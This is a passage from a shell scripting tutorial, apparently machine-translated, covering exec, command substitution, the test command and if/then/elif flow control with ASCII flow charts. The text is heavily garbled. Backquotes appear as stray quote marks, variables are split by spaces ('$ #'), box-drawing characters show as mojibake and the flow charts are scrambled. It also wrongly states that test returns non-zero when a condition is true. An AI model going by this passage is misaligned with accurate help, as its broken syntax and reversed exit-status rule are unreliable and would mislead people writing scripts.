At this time, it is similar to using the sh command, except that it does not generally generate a new process like sh. On the contrary, it will complete the work under the original process.

4) Use the exec command
exec command.
This script will be replaced by the executed command. When this command is executed, the script will also end.

5) Replace command
This is a very useful method. If you want to make the output of a command a parameter of another command, you must use this method. We list the command between the two "" "" "signs, and Shell will replace the command and the two" "" "" symbols with the output of this command.

str = '' Current directory is '' '' pwd``
echo $ str
results are as follows:
Current directory is / users / cc / mgtsai
this means pwd this command outputs "" / users / cc / mgtsai "", and then the whole word The string replaces the original `` pwd`` to set the str variable, so the content of the str variable will be output by the pwd command.

number = `` expr $ number + 1''This
is the method mentioned above for numerical operations. Basically, the expr command only solves the expression, and then outputs it to standard output. If you want to set a variable to its value, you have to rely on command replacement. In this example, add 1 to the value of the number variable and then save it back to the number variable.

3) Process control

Before introducing flow control, let's take a look at the test command. The parameters of the test command are conditional judgments. When the condition is true, a non-zero value is returned, and when the condition is false, zero is returned. In all flow control, the test command must be used to judge the authenticity. The method of using the test command is listed in Appendix B.

test $ # = 0

If there are no parameters to execute this program, a non-zero value will be returned to represent "" $ # = 0 "". Otherwise, it returns zero.

πŸ¦‘The following describes various flow control:

1) if then syntax and flow chart are as followsβ”‚

FALSE
if (condition) < condition > —┐
then β”‚TRUE β”‚
then-commands then-commands β”‚
fi β”œ β€”β€”β€”β€” β”˜
β”‚


condition is a test command. The conditions in the various processes introduced later are test commands.
File name: chkarg

β”Œ β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ┐
β”‚if (test $ #! = 0) β”‚
β”‚ then β”‚
β”‚ echo Arg1: $ 1 β”‚
β”‚fi β”‚
β”” β€”β€”β€”β€”β€”β€”β€”β€”β€” β€”β€”β”˜
$ chkarg Hello
Arg1: Hello
$ chkarg
$

2) if then else syntax and flow chart are as followsβ”‚

FALSE
if (condition) < condition > β€”β€”β€”β€”β€”β€” ┐
then β”‚TRUE β”‚
then-commands then-commands else-commands
else β”œ β€”β€”β€”β€”β€”β€”β€”β€” β”˜
else-commands β”‚
fi

3) if then elif syntax and process The picture is as followsβ”‚

FALSE
if (condition1) < condition1 > —┐
then β”‚TRUE β”‚ FALSE
commands1 commands1 < condition2 > —┐
elif (condition2) β”‚ β”‚ TRUE β”‚
then β”‚ commands2 commands3
commands2 β”œ β€”β€”β€”β€”β€”β€” β”΄ β€”β€”β€”β€” β”˜
else β”‚
commands3

commands3
fi